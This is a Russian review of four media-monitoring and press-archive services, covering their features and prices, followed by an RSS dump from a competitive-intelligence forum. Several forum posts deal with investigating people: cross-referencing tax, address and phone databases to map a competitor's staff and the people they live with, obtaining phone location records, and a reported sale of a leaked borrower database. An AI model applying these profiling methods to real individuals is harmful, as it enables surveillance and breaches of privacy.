Технология анализа. Технология анализа информации в системе «Медиалогия» представляет процесс интеллектуальной обработки данных, объединяющий автоматизированные процессы анализа и ручную обработку информации специалистами компании «Медиалогия». Такая технология делает возможным более качественное изучение информационных фактов, выявление связей между персонами и / или компаниями, отслеживание динамики их информационного поля, политики освещения ситуации отдельными источниками или авторами.
Удобство интерфейса. На наш взгляд, система «Медиалогия» является наиболее клиентоориентированной из четырех рассматриваемых информационно-аналитических систем. Уникальность «Медиалогии» заключается в возможности предварительной настройки рабочего места пользователя за счет комбинирования типовых решений, при этом клиент получает возможность дополнить его другими сервисами. Это значит, что для пользователя, впервые заходящего в систему, уже подготовлен персональный профиль с подключенным набором услуг для поиска и анализа информации из СМИ и предварительно настроенными вариантами подготовки отчетов, которые согласовываются на стадии подписания договора с клиентом.
Работа с системой «Медиалогия» не требует установки дополнительного программного обеспечения (достаточно обычного веб-браузера), что делает возможной работу с системой с разных рабочих мест.
Организация поиска информации. Основным способом поиска информации при работе с системой «Медиалогия» является объектноориентированный поиск, когда физическое лицо, компания или бренд указывается в системе как отдельный объект. Плюсом такого способа поиска является то, что к каждому объекту прикрепляется список слов-маркеров, которыми он может обозначаться в источниках информации, и поиск ведется по всем возможным обозначениям объекта. Также выделена группа географических объектов (регионы, области, города), которая позволяет строить распределения упоминания персон, компаний и брендов в привязке к определенной географии. Кроме объектноориентированного поиска в системе осуществляются контекстный поиск (схожий с поиском в наиболее популярных поисковых системах «Яндекс» или «Рамблер»), поиск по отдельным полям и атрибутам документов, а также поиск информации в персональных наборах источников информации, определяемых пользователем.
Представление результатов работы. Результаты поиска и анализа информации в системе «Медиалогия» могут быть представлены в различных формах: ленты публикаций, графическая информация (диаграммы, таблицы, карты, цветовая разметка сообщений, индекс благоприятствования, отражение позитивного или негативного содержания сообщений), контекстные подборки и рейтинги. В качестве инструментов систематизации полученных данных используются аналитические отчеты различного вида, которые могут быть созданы как самостоятельно пользователем, так и на заказ сотрудниками компании «Медиалогия». Отчеты с результатами поиска и анализа информации пользователь системы «Медиалогия» может получать как в онлайновом режиме (во время сеанса работы в системе), так и в офлайновом (по электронной почте или на FTP-сервер).
Ведение архива запросов и отчетов. Архив созданных пользователем запросов и отчетов, которые когда-либо были сформированы, ведется в системе автоматически и сохраняется в профиле пользователя. По желанию клиента он может быть перемещен на локальный компьютер. Поиск информации в архиве возможен; способ поиска не отличается от спосо¬ба поиска информации в общей базе данных.
Стоимость и предоставляемые услуги
Как уже было отмечено выше, компания «Медиалогия» максимально ориентирована на работу с клиентами, причем, чтобы сделать свой продукт доступным для малого и среднего бизнеса, компанией была разработана система «Медиалогия Basic», являющаяся, по мнению разработчиков, недорогим и эффективным инструментом для решения наиболее распространенных задач по анализу информации из открытых источников.
Компания «Медиалогия» предлагает своим клиентам линейку типовых продуктов, таких как:
в–  «Оперативный мониторинг СМИ»;
в–  «Пресс-клиппинг и ТВ-клиппинг»;
в–  «Анализ PR-активности»;
в–  «Анализ репутации»;
в–  «Конкурентный анализ»;
в–  «Бизнес-разведка»;
в–  «Изучение отраслевых рынков».
Количество методов анализа, предлагае¬мых клиенту в рамках типового продукта, зависит от выбранного уровня доступа к систе¬ме (Basic, Advanced или Expert).
Интересным решением, на наш взгляд, является формирование готовых «рабочих мест» пользователей за счет подключения тех или иных типовых продуктов. Таким спосо¬бом могут быть сформированы:
- «Рабочее место менеджера по маркетингу»;
- «Рабочее место PR-менеджера»;
- «Рабочее место sales-менеджера»;
- «Рабочее место топ-менеджера».
Расширение круга решаемых задач для сформированного «рабочего места» происходит за счет подключения других типовых продуктов, что формирует «Корпоративное решение», удовлетворяющее всем потребностям компании-клиента.
Стоимость уровня доступа, позволяющего осуществлять качественный и количественный анализ информации и ежемесячно просматривать порядка 50 тыс. статей, составляет около $1,2 тыс. в месяц. Крупным клиентам предоставляется персональный менеджер и возможность проведения консультаций в их офисе.
Для оценки возможностей системы компания «Медиалогия» предлагает своим клиен¬там не только презентацию и демоверсии продукта и финальных отчетов, но и реаль¬ную возможность опробовать систему в ре¬жиме тестового доступа.

Система «Интегрум»
Общее описание системы
По данным разработчиков, система «Интегрум» (на рынке с 1996 г.) на сегодняшний день является самым полным электронным архивом русскоязычных СМИ, созданным на основании материалов из открытых источников информации.
Уникальность информационно-аналитической системы «Интегрум» для пользователя, на наш взгляд, заключается в возможности получения информации из адресно-справочных и правовых баз данных, Роспатента, Госкомстата, а также из специализированной литературы (издания в формате PDF).
Функциональная часть
Источники информации. База данных информационно-аналитической системы «Интегрум» содержит как материалы печатных, электронных и медийных СМИ, так и данные из ряда других источников: бюллетеней, каталогов, информационных публикаций официальных учреждений, адресно-справочных баз данных и статистических справочников. Поставщиками информации для базы данных системы являются более 5 тыс. источников, в том числе и на иностранных языках. Перевод текстов с иностранных языков можно осуществить с помощью автоматизированного сервиса.
В системе «Интегрум» массивы данных формируются на основании договоров с редакциями, согласно которым копии материалов поставляются в базу при подписании номера в печать. Информация хранится в базе данных в исходном виде (полный текст статей) под уникальным заголовком в текстовом формате. Основной массив базы данных обновляется ежедневно, однако существует группа источников (например, новостные ленты), для которых обновление массива происходит в режиме реального времени.
Технология анализа. Основой технологии анализа является автоматическая интеллектуальная обработка текстов, которая базируется на модулях графематики (метод лингвистического анализа, при котором исходный текст документа разбивается на абзацы, предложения и слова, в результате чего можно выстроить внешнее представление текста), морфологического анализа, семантического анализа, выделения омонимии, а также на обработчиках собственных имен и средствах выделения специальных объектов (например, названия и даты в любых формах написания).
Удобство интерфейса. В текущей вер¬сии системы «Интегрум» для организации работы пользователей применяется единый профиль, который обеспечивает доступ к информационно-поисковой системе «Артефакт», различным видам предоплаченных услуг и справочной информации по работе с системой (например, типовые запросы, язык запросов). Интерфейс системы интуитивно понятен, достаточно прост и удобен в использовании. В настоящее время компания «Ин¬тегрум» планирует дальнейшее улучшение пользовательского интерфейса.
Степень соответствия результатов (информа¬ционных материалов) параметрам поиска в значительной степени зависит от того, насколько хорошо пользователь владеет языком запросов. С целью обучения клиентов языку запросов специалисты компании «Интегрум» предлагают консультации по формированию типовых запросов, что полезно на этапе внедрения и запуска системы.
Работа с системой «Интегрум» организовывается так же, как и с системой «Медиалогия»: пользователю не требуется устанавливать какое-либо дополнительное программное обеспечение на компьютер, работа осуществляется через обычный веб-браузер.
Для крупных компаний дополнительным преимуществом системы будет являться возможность организации работы в базе данных под разными учетными записями (в зависимости от тарифа клиенту предоставляется от 1 до 60 учетных записей). Если доступ к базе СМИ необходим сотрудникам нескольких отделов компании-клиента, то использование различных учетных записей дает возможность контролировать объем информации, который был получен каждым из отделов. Для ряда компаний такая услуга может быть весьма актуальной, т. к. доступ к системе предполагает постатейную оплату.
Организация поиска информации. Основной способ поиска в системе «Интегрум» — это контекстный поиск, который осуществляется с помощью разработанного специалистами компании логического языка запросов. Поиск в системе можно осуществлять как по всей базе в целом, так и с введением условий (например, можно создавать личные выборки источников информации или осуществлять поиск за определенный временной интервал). По умолчанию пользователям предлагается коллекция типовых запросов, которые существенно облегчают нахождение интересующей информации. Кроме того, пользователь может самостоятельно (или с помощью менеджеров компании) сформулировать запрос к системе, используя логический язык. Любой запрос, составленный пользователем, сохраняется и может быть снова использован.
Представление результатов работы. Результаты работы в системе «Интегрум» могут быть представлены в самых различных форматах: текст статьи, лента новостей, контекстные подборки, графики сравнительного и относительного упоминания в СМИ, фактографические справки. По результатам работы в системе формируется отчет, в котором, благодаря специальному модулю системы, вся найденная информация приводится к единому виду. Клиент может просмотреть результаты поиска и анализа в режиме реального времени или получить отчет по электронной почте. Кроме точного поиска клиенту предоставляется широкий перечень дополнительных сервисов по сбору интересующей информации (например, мониторинг документов по заданной тематике, составление сводной новостной ленты, составление рейтингов и справок); при этом данные задачи могут быть решены как самостоятельно клиентом, так и на заказ сотрудниками компании «Интегрум».
Ведение архива запросов и отчетов. Архив когда-либо созданных запросов и отчетов ведется автоматически в учетной записи пользователя; как и в системе «Медиалогия», он может быть перемещен на локальный компьютер. Относительным минусом системы «Интегрум» является отсутствие возможности поиска в архиве: для того чтобы найти необходимый материал в ранее сформированном отчете, нужно просмотреть его целиком.
Стоимость и предоставляемые услуги
Помимо простого поиска в базе данных СМИ (точный поиск) «Интегрум» предлагает своим клиентам следующие сервисы:
-«Персональная газета»;
-«Телетайп»;
-«Сегодня в лицах»;
-«Кто? Где? Когда?»;
-«Относительная упоминаемость»;
-«Сравнительная упоминаемость»;
-«Индивидуальное информационное обслуживание».
На базе перечисленных сервисов в системе «Интегрум» сформированы четыре продукта:
в–  «Интегрум Профи» — предоставляет клиентам возможность точного поиска в базе данных СМИ и доступ ко всем перечисленным сервисам для мониторинга и обработки поступающей информации; количество подключенных сервисов зависит от выбранного тарифа;
в–  «Интегрум Поиск» — предназначен для разового доступа к системе, когда нет необходимости в постоянном мониторинге;
в–  «Интегрум Каталог» — мониторинг электронных версий печатных изданий и получение новостей по мере их поступления;
в–  «Интегрум Аналитик» — индивидуальное обслуживание клиента с предоставлением услуг персонального редактора, который ведет обработку информации по заказу клиента.
Особенностью системы «Интегрум» является постатейная оплата найденных материалов. Другими словами, каждая статья в системе имеет свою стоимость, которая списывается со счета в тот момент, когда клиент помещает отобранную статью в покупательскую корзину. В зависимости от задач, стоящих перед пользователем, он может выбрать любой из пяти тарифных планов, предлагаемых компанией «Интегрум». Стоимость тарифных планов варьируется в диапазоне от 2,7 тыс. руб. (точный поиск в базе СМИ) до 36 тыс. руб. в месяц (полный доступ ко всем услугам системы).
Существует и другой вариант постатейного доступа, не требующий внесения обязательных ежемесячных платежей, но перечень источников информации при этом предлагается более узкий, а возможность доступа к архиву ограничена статьями, опубликованными в течение последних трех месяцев.
Для ознакомления с возможностями системы «Интегрум» предусмотрен тестовый доступ к базе данных СМИ; стандартное время тестового доступа — одна неделя.
Система Public.Ru
Общее описание системы
Информационно-аналитическая система Public.Ru (на рынке с 1990 г.) позиционируется как публичная библиотека, которая специализируется на оказании услуг по предоставлению доступа к отечественной периодике. Соответственно, система Public.Ru решает следующие задачи:
в–  создание архива публикаций центральных и региональных периодических СМИ;
в–  организация массового доступа к архиву;
в–  организация справочно-библиографического обслуживания пользователей.
Как говорят представители компании-разработчика, основное отличие системы Public.Ru от рассмотренных выше заключается в простоте поиска информации и существенно более низкой стоимости услуг, что позволяет компании работать не только с организациями, но и с частными лицами.
Функциональная часть
Источники информации. Источниками информации для системы Public.Ru являются: федеральная и региональная пресса, государственные теле- и радиокомпании, информационные агентства России и СНГ, а также законодательные органы РФ. В настоящее время база СМИ системы Public.Ru включает около 2 тыс. источников. Вся информация библиотечных фондов хранится как в электронном виде, так и на бумажных носителях. Данные поступают в библиотеку круглосуточно, база обновляется ежедневно; при поступлении в базу все материалы приводятся к единому текстовому виду.
Технология анализа. Поиск в базе данных системы Public.Ru реализован на базе поисковой машины Retrieval Ware, разработанной специалистами американской корпорации Convera. Технология анализа в системе RetrievalWare основана на профилировании, семантическом поиске, статической и динамической классификации информации.
Удобство интерфейса. Доступ пользователей к базе данных СМИ в системе Public.Ru осуществляется в едином интерфейсе, который, как и в системе «Интегрум», интуитивно понятен и прост в использовании. Уровень релевантности найденной информации напрямую зависит от уровня владения языком запросов. За каждым пользователем закрепляется персональный менеджер, который обучает его языку запросов и осуществляет консультации в случае затруднений, что особенно важно на начальной стадии пользования системой. Работа с системой Public.Ru осуществляется через веб-браузер и не требует установки на компьютер пользователя дополнительного программного обеспечения, за исключением случаев, когда пользователь заказывает составление тематических баз данных. В последнем случае на сервер клиента автоматически выгружается требуемая информация, которая формирует базу данных. Для организации работы в тематической базе данных устанавливается локальная поисковая машина. Актуализация информации происходит по электронной почте или путем загрузки свежих материалов на FTP-сервер клиента.
Организация поиска информации. Материалы, содержащиеся в базе СМИ системы Public.Ru, представляют собой собрание текстов статей, разбитых на полугодовые и годовые архивы. Поиск может осуществляться как во всей базе, так и в определенном архиве. Поиск в системе осуществляется с применением логического языка запросов, при этом коллекция типовых запросов не предоставляется, что существенно усложняет освоение системы. Сохранение запросов, составленных пользователем, ведется автоматически, и к ним можно обращаться в дальнейшем. Сохранение результатов поиска осуществляется пользователем вручную на локальном компьютере, что, на наш взгляд, крайне неудобно при обработке большого числа запросов.
Представление результатов работы. В системе Public.Ru информация, запрашиваемая пользователем, может быть представлена в виде текста статьи (в формате txt или MS Word), ленты новостей или подготовленных на заказ отчетов (тематических или аналитических). Результаты можно не только просматривать в режиме реального времени (для точного поиска), но и получать по электронной почте. Также может производиться автоматическая выгрузка интересующих материалов на FTP-сервер клиента (только для тематических баз данных).
Дополнительно компания «Публичная библиотека» предоставляет пользователю услуги по проведению аналитических и отраслевых исследований.
Ведение архива запросов и отчетов. Возможность ведения автоматического архива запросов и отчетов в учетной записи пользова¬теля системы Public.Ru не предусмотрена.

Стоимость и предоставляемые услуги
Особенностью и, на наш взгляд, недостатком работы в системе Public.Ru является повременной доступ к базе данных СМИ в сочетании с ограничением количества статей, предоставляемых в рамках оплаченного времени.
Стоимость персонального доступа в систему Public.Ru составляет 1,62 тыс. руб. в месяц, что подразумевает доступ к базе на 3 часа с возможностью просмотра 180 документов. Для компаний минимальная стоимость пакета услуг составляет 2,7 тыс. руб. в месяц, при этом предоставляется доступ к базе на 6 часов с возможностью просмотра 360 документов.
Для ознакомления с возможностями системы Public.Ru проводится презентация продукта, предлагаются демоверсии отчетов и тестовый доступ к системе.

Система Park.Ru
Общее описание системы
Информационная система Park.Ru (на рынке с 1995 г.) позиционируется как полнотекстовая библиотека российских СМИ. На наш взгляд, уникальной особенностью системы Park.Ru является большое количество готовых тематических мониторингов новостей по различным тематикам; причем готовые мониторинги могут быть расширены или сокращены в зависимости от информационных потребностей клиента.
Функциональная часть
Источники информации. База данных системы Park.Ru включает в себя материалы, содержащиеся в открытых печатных и электронных СМИ. Информацию в базу данных системы поставляют более 1,3 тыс. российских ресурсов — крупнейшие информационные агентства, издательские дома, радиостанции и интернет-ресурсы; по информации разработчиков, в систему ежемесячно добавляются новые источники. Обновление информации в системе происходит ежедневно, материалы поступают до момента размещения их в открытых источниках. Все материалы представляются в едином текстовом формате, что дает возможность организовывать поиск одновременно по всей базе данных.
Технология анализа. Поиск в Park.Ru организован на базе системы Yandex. Server. Технология анализа в Yandex. Server реализована на основе морфологического анализа текста, с применением обработчиков собственных имен. Для проведения поиска используется логический язык запросов.
Удобство интерфейса. Так же, как и в случае с системами «Интегрум» и Public.Ru, для поиска в базе данных Park.Ru предлагается поисковая форма, заполнив которую пользователь получает набор статей по интересующей его теме. При заключении договора на обслуживание за каждым пользователем закрепляется персональный менеджер, который оказывает консультации и помогает корректировать запросы для поиска. Работа с системой Park.Ru осуществляется через веб-браузер и не требует установки на компьютер пользователя дополнительного программного обеспечения.
Организация поиска информации. Основной способ поиска в системе Park.Ru — контекстный (полнотекстовый или по отдельным атрибутам документа).
Представление результатов работы. Результаты работы в системе Park.Ru представляются в виде полнотекстовых статей (при простом поиске информации в системе) или отчетов в формате Word (при заказе аналитических отчетов). Найденные в системе статьи просматриваются в онлайновом режиме или сохраняются на компьютере пользователя. Доставка отчетов с результатами мониторинга или исследований осуществляется по электронной почте.
Ведение архива запросов и отчетов. Возможность ведения автоматического архива запросов и отчетов в учетной записи пользователя системы Park.Ru не предусмотрена.
Тестовый доступ к системе Park.Ru дает возможность работы с бесплатной частью базы данных. Предоставление тестового доступа к платной части архива СМИ обсуждается с менеджером в индивидуальном порядке.
Стоимость и предоставляемые услуги
В системе Park.Ru предусмотрены три ва¬рианта доступа к базе СМИ:
в–  абонементный доступ;
в–  подокументный доступ;
в–  подокументный доступ с фиксирован¬ной оплатой.
Абонементный доступ. Подписавшись на услуги системы по данному тарифу, пользователь получает доступ к информационным источникам, включенным в базу данных системы Park.Ru, на один месяц и без ограничений по количеству извлекаемых документов и количеству просмотров этих документов. Стоимость абонементного доступа варьируется в зависимости от интересующих клиента источников, что делает его похожим на подписку на периодические издания по почте, с тем лишь отличием, что в системе Park.Ru пользователь получает также доступ к архивам источника.
Подокументный доступ. При таком уровне доступа пользователь вносит ежемесячную абонентскую плату и отдельно оплачивает каждый извлеченный документ, но при повторном извлечении одного и того же документа плата не взимается. Стоимость документа зависит от того, к какому информационному источнику он относится, и устанавливается либо за весь документ в целом, либо за каждый килобайт документа. Размер ежемесячной абонентской платы не зависит от количества извлеченных документов и составляет 110 руб. в месяц; минимальный размер аванса для просмотра статей составляет 1 тыс. руб.
Подокументный доступ с фиксированной оплатой. Данный тариф является модификацией предыдущего и предусматривает внесение ежемесячной абонентской платы и отдельную оплату каждого извлеченного документа по фиксированной стоимости. Ежемесячная абонентская плата составляет 1,5 тыс. руб. в месяц; минимальная сумма аванса для просмотра статей составляет 3 тыс. руб.

ВЫВОДЫ
В приведенной таблице представлены результаты сравнения рассматриваемых информационно-аналитических систем.
При выборе информационно-аналитической системы в первую очередь нужно оценить потребности компании в информации. Также важно определить, какой объем анализа необходим и какая степень наглядности представления результата требуется. В связи со спецификой оплаты и различиями функциональных возможностей в каждой из рассмотренных систем стоимость и качество полученных результатов будут отличаться.
Так, система «Медиалогия» предоставляет своим клиентам наиболее широкие возможности анализа информации из СМИ и максимально наглядную форму представления результатов анализа. Система «Интегрум» предлагает достаточно разнообразный инструментарий для обработки информации печатных, электронных и медийных СМИ, а также доступ к информации из статистических справочников, бюллетеней, каталогов, что, несомненно, представляет большой интерес для маркетологов и аналитиков. Системы Public.Ru и Park.Ru идеально подойдут для компаний с ограниченным финансовым бюджетом, которым не требуется регулярный доступ к источникам информации.
В заключение отметим, что любая из рассмотренных систем может быть использована в качестве компонента маркетинговой информационной системы на предприятии, т. к. позволяет обеспечить непрерывное поступление актуальных данных для принятия маркетинговых решений.

]]> Sat, 14 Jul 2007 10:16:09 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=200 Детализация счета. http://www.a-rsb.ru/forum/index.php?showtopic=29 Неоднократно слышал о возможности детализации счета мобилного телефона с привязкой к местности. Поискал в интернете что это такое и как выглядит. Попал на ссылку перенаправляющую на этот сайт. Хотелост бы узнать от первоисточника. Что из себя представляет эта детализация ? Tue, 23 May 2006 21:16:22 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=29 Сведения о судимости http://www.a-rsb.ru/forum/index.php?showtopic=135 Не поделитесь ли информацией, как можно получить сведения о судимости кандидата на работу, желательно без использования оперативных методов. Я к чему - может, кто знает портал ГИЦ, где это можно делать он-лайн, как например проверка паспорта в ФМС.
Заранее благодарен.]]> Thu, 29 Mar 2007 14:05:10 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=135 Сбор информации по событию. http://www.a-rsb.ru/forum/index.php?showtopic=31 Хотелось бы узнать мнение участников форума.Как вы считаете, кто эффективне занимается сбором информации: милиция или частные детективы?
Недавно моя знакомая начала получать угрозы по телефону в отношении себя и своей малолетней дочери. Обратилась в милицию. В милиции ответили: Ну вас же пока не убили.Вот когда что-то случится - тогда начнем работать.
Обратилась к детективам, через 2 дня у нее было максимум данных о женщине, которая угрожала моей знакомой. Нонсенс, но мое мнение - детективы более мобильны и надежнее.]]> Tue, 23 May 2006 23:03:16 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=31 Сбор информации о конкуренте нелегальными методами http://www.a-rsb.ru/forum/index.php?showtopic=147 1. Опрос.
2. Наведение справок.
3. Сбор образцов для сравнительного исследования.
4. Проверочная закупка.
5. Исследование предметов и документов.
6. Наблюдение.
7. Отождествление личности.
8. Обследование помещений, зданий, сооружений, участков местности и транспортных средств.
9. Контроль почтовых отправлений, телеграфных и иных сообщений.
10. Прослушивание телефонных переговоров.
11. Снятие информации с технических каналов связи.
12. Оперативное внедрение.
13. Контролируемая поставка.
14. Оперативный эксперимент".
Запрещается проведение оперативно-розыскных мероприятий и использование специальных и иных технических средств, предназначенных (разработанных, приспособленных, запрограммированных) для негласного получения информации, не уполномоченными на то настоящим Федеральным законом физическими и юридическими лицами (ст. 6 данного закона).

Перечень специальных технических средств, утвержденных постановлением Правительства РФ от 1 июля 1996 г. № 770:
1. Специальные технические средства для негласного получения и регистрации акустической информации.
2. Специальные технические средства для негласного визуального наблюдения и документирования.
3. Специальные технические средства для негласного прослушивания телефонных переговоров.
4. Специальные технические средства для негласного перехвата и регистрации информации с технических каналов связи.
5. Специальные технические средства для негласного контроля почтовых сообщений и отправлений.
6. Специальные технические средства для негласного исследования предметов и документов.
7. Специальные технические средства для негласного проникновения и обследования помещений, транспортных средств и других объектов.
8. Специальные технические средства для негласного контроля за перемещением транспортных средств и других объектов.
9. Специальные технические средства для негласного получения (изменения, уничтожения) информации с технических средств ее хранения, обработки и передачи.
10. Специальные технические средства для негласной идентификации личности.
]]> Sat, 21 Apr 2007 09:46:24 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=147 Разведывательные задачи и мониторинг http://www.a-rsb.ru/forum/index.php?showtopic=92
Тезис этот не исключает того, что приходится собирать много информации «про запас». Но увлечение сбором нецелевой информации отрицательно влияет на выполнение конкретных заданий. Если накопление информации в работе превалирует, то подразделение конкурентной разведки в любой фирме повторяет судьбу многих экономистов -теоретиков: все красиво и умно, но бесполезно.

Из многочисленных публикаций по проблемам конкурентной разведки можно извлечь мнение, что наилучшее соотношение объемов работ по заданиям и по мониторингу — 80 и 20%. Вряд ли эти цифры должны выдерживаться в точности, но совершенно очевидно, что на выполнение конкретных заданий следует расходовать основную часть усилий и ресурсов. Нужно это и для того, чтобы сама работа в сфере конкурентной разведки не напоминала академические исследования, результаты которых имеют непреходящую ценность. Конкурентная разведка — такая же работа, как доставка товара на склад или приготовление обеда. И то и другое нужно делать вовремя.

Работа по заданиям приводит к процедуре, которую принято называть разведывательным циклом. Начинается он с постановки задачи перед теми, кто занимается конкурентной разведкой, после чего следует сбор целевой информации, затем анализ собранной информации, выдача рекомендаций руководству и... На этом всё не заканчивается. В заключение приходится думать, куда направить полученную информацию, кому и в каком виде ее целесообразно предоставить. В практике встречаются иногда случаи, когда информацию оказывается разумным направить даже конкурентам, хотя предварительно она должна быть соответствующим образом переработана. Итак, разведывательный цикл начинается с постановки задачи.

]]> Wed, 19 Jul 2006 20:02:50 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=92 Статья http://www.a-rsb.ru/forum/index.php?showtopic=137 «Аська-предатель». Роль ICQ в конкурентной разведке.

Если есть дополнения или уточнения, то формулируйте их, пожалуйста, а я постараюсь внести изменения в материал.

P.S. Я пытался переименовать тему в "Статья «Аська-предатель». Роль ICQ в конкурентной разведке", но не смог. Если есть возможность, поправьте, пожалуйста.]]> Mon, 02 Apr 2007 20:45:29 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=137 Рабода с базами данных http://www.a-rsb.ru/forum/index.php?showtopic=91
Работа с адресными и телефонными справочниками, базами статистической и регистрационной информации — дело довольно сложное. Учиться этому искусству приходится годами. Поэтому остановимся лишь на нескольких приемах, которые только наметят направление совершенствования навыков работы.

Рассмотрим ситуацию, когда вам просто указали на фирму-конкурента, и нужно провести первое ознакомление с ее характеристиками. Перед началом работы хорошо иметь внутреннюю убежденность в том, что нет ни одного конкурента, у которого не было бы разветвленных связей. И если они не выявлены, значит, плохо искали.

Как правило, само название фирмы может служить толчком для дальнейших поисков. Так, если в нем встречается некоторый распространенный символ, вроде буквы греческого алфавита, или слово «газ», это уже может направить конкурентную разведку по нужному руслу дальнейших изысканий.

Давайте рассмотрим, как приходится работать с базами данных при простой исходной задаче. Скажем, на рынке вашего региона появился новый конкурент и стал вам докучать. Нужно понять, с кем он связан. В распоряжении у вас три базы данных: налоговой инспекции, адресный и телефонный справочники (в Новосибирске и некоторых других городах к ним добавляется электронная карта города).

Первоначально нужно определиться: кто учредители компании, ее руководитель и главный бухгалтер. Полученный список фамилий «запускается» сразу по всем трем базам. База налоговой инспекции позволяет установить, в каких еще фирмах учредители выступают как учредители и руководители. То же — относительно руководителей. С главными бухгалтерами ситуация проще — их ищут именно в этой функции по другим фирмам.

По адресному справочнику идет добавление в поиск новых фамилий. Если некто проживает вместе с руководителем, учредителем или главным бухгалтером конкурента — он обязательно должен быть включен в поиск.

Что же мы «проскочили»? Весьма интересные моменты рассогласования информации. Скажем, в данных регистрационной базы налоговой инспекции указан телефон. Но по телефонному справочнику он принадлежит другой фирме, иногда это вообще квартирный телефон. Это — особо ценная информация. Каждое рассогласование информации, содержащейся в разных базах данных, должно радовать, а не огорчать. Оно — источник неожиданных открытий.

Уже на первом цикле полезно использование информации о местоположении компании-конкурента. Здесь также возможны неожиданные находки. Так, одно из наших исследований закончилось предельно быстро, когда мы показали нашему заказчику, в каком здании располагается охранное предприятие, обслуживающее фирму-конкурента. Это здание плотно курировалось одной криминальной группировкой. И наш заказчик об этом знал даже лучше нас. Поэтому он улыбнулся, поблагодарил нас, и работа нам была засчитана как выполненная. Хотя первоначально она выглядела неподъемной. Конкурент, что называется, «шел на рожон». Он совершенно в открытую шантажировал поставщиков нашего заказчика, угрожал им. Он брал заведомо невозвратные кредиты. Нужно было понять, что произошло. И в ходе сканирования основных событий, происшедших в компании-конкуренте, выяснилось, что недавно в ней сменились охранники и был ужесточен пропускной режим. Сама по себе такая смена еще ни о чем не говорила. Но все решилось просто, когда выяснилось, где расположен офис нового охранного предприятия.

Итак, мы прошли первый круг поиска, число вовлеченных лиц увеличилось. Каждый из новых фигурантов представляет самостоятельный интерес. Но ещё более интересны их связи, которые ведут в тот же «первый круг». Если это обнаруживается, то формируется особая группа тесно связанных между собой людей, так называемый кластер. Впредь до окончательного выяснения обстоятельств, не содержащихся в базах, обстоятельств, которые нужно выяснить дополнительно, этот кластер будет находиться под пристальным контролем конкурентной разведки как некоторый единый объект наблюдения.

Выше шел рассказ о так называемом «ручном» алгоритме анализа. Но существуют и программные средства поиска. Основная их часть — доморощенные программные пакеты. Есть и специализированные программы, которые продаются на рынке каждому желающему. Зарубежные программные пакеты более изощренны. На Западе принципиальным является изучение связей, которые складываются через участие в акциях и других ценных бумагах. Впрочем, об этих компьютерных программах нужно рассказывать отдельно, в контексте программного обеспечения конкурентной разведки.

]]> Wed, 19 Jul 2006 19:11:59 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=91 Нетрадиционные агенты конкурентов. http://www.a-rsb.ru/forum/index.php?showtopic=130 Более подробная информация на http://www.a-rsb.ru/index.php?go=News&in=view&id=365
Хотелось бы выслушать мнение специалистов.
Один пример такой работы, был описан в топике: "Конкурентная разведка на практике"]]> Sun, 04 Mar 2007 13:29:54 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=130 Украли базу данных заемщиков. http://www.a-rsb.ru/forum/index.php?showtopic=119

«Это механизм недобросовестной конкуренции банков, уверен Игорь Плотников » За 2 тыс. рублей покупатель получает доступ к данным о просрочках и неплатежах по кредитам, об отказах в выдаче кредита, а также подробную информацию о заемщике – телефон, адрес, место работы.

В базу, по данным «Коммерсанта», включены 3 млн. заемщиков десяти российских банков. Среди них клиенты «Русского стандарта», ХКФ-Банка, Росбанка, Финансбанка и Импэксбанка.

Это самый большой список из тех, что появились на рынке в течение последних 6 месяцев. В конце лета с минимальным разрывом доступными для продажи стали база заемщиков по экспресс-кредитованию в магазинах и база недобросовестных заемщиков банка «Первое ОВК».

При этом новая база дешевле той, которая появилась на рынке в августе. Тогда 700 тыс. записей о заемщиках экспресс-кредитов стоили 90 тыс. рублей. Сейчас 3 млн. записей о заемщиках предлагаются за 2 тыс. рублей. Реальная цена информации о каждом заемщике составляет порядка 0,5 доллара. Но в бюро кредитных историй обращаться не всегда удобно – запрос обрабатывается в течение нескольких дней.
]]> Tue, 12 Dec 2006 20:27:15 +0300 http://www.a-rsb.ru/forum/index.php?showtopic=119 <![CDATA["Конкурентная разведка"]]> http://www.a-rsb.ru/forum/index.php?showtopic=81 Кстати, читая книгу, я в конце концов окончательно понял смысл разделения Евгением Леонидовичем всех КР-щиков на "маркетологов" и "безопасников".
http://www.bre.ru/security/27523.html

Согласен с его мнением, что основное направление деятельности КР - обеспение информацией для поддержки принятия решений в достаточно широком смысле. Кстати, на одной из параллельных веток был поднят вопрос о развале наших промышленных предприятий. В книге есть хороший пример про Японию, воровавшую чужие технологии и скупавшую чужие патенты (пример логичного результата деятельности КР), таким образом поднявшую свою экономику до нынешних высот.
http://www.google.ru/search?hl=ru&q=%D1%8F...D0%BA%D0%B0&lr=]]> Wed, 12 Jul 2006 16:06:13 +0400 http://www.a-rsb.ru/forum/index.php?showtopic=81 Рекрутинг и конкурентная разведка http://www.a-rsb.ru/forum/index.php?showtopic=83
Скажем сразу – этичного в этой статье мало. С точки зрения «простого человека», все, о чем пойдет речь, некрасиво. С другой стороны, в статье описываются приемы, реально используемые теми или иными компаниями. Тут уж из песни слова не выкинешь. То есть, существует технология, позволяющая достаточно эффективно решать некоторые задачи. И потому мы ее все-таки опишем, а вопросы этики оставим на совести того, кто, в конечном итоге, этой технологией воспользуется.

Однако, чтобы соблюсти честность подхода, статью разделим на три части: для компаний, кадровых агентств и соискателей, чтобы каждая из этих групп была осведомлена о возможных для нее опасностях и выгодах.

КОМПАНИЯ

Трудно переоценить важность оперативной информации для успешности бизнеса. Ни одна компания не сможет добиться успеха, действуя в отрыве от реальности. Поэтому налаженная система сбора этой информации очень важна. При этом важно получать информацию как о состоянии рынка, так и о его участниках – компаниях-конкурентах. Сбор и тех и других сведений возможно осуществлять с использованием традиционных рекрутинговых технологий, поскольку по объявлениям о найме персонала обращаются, в том числе, люди, этой информацией обладающие.

Процедура

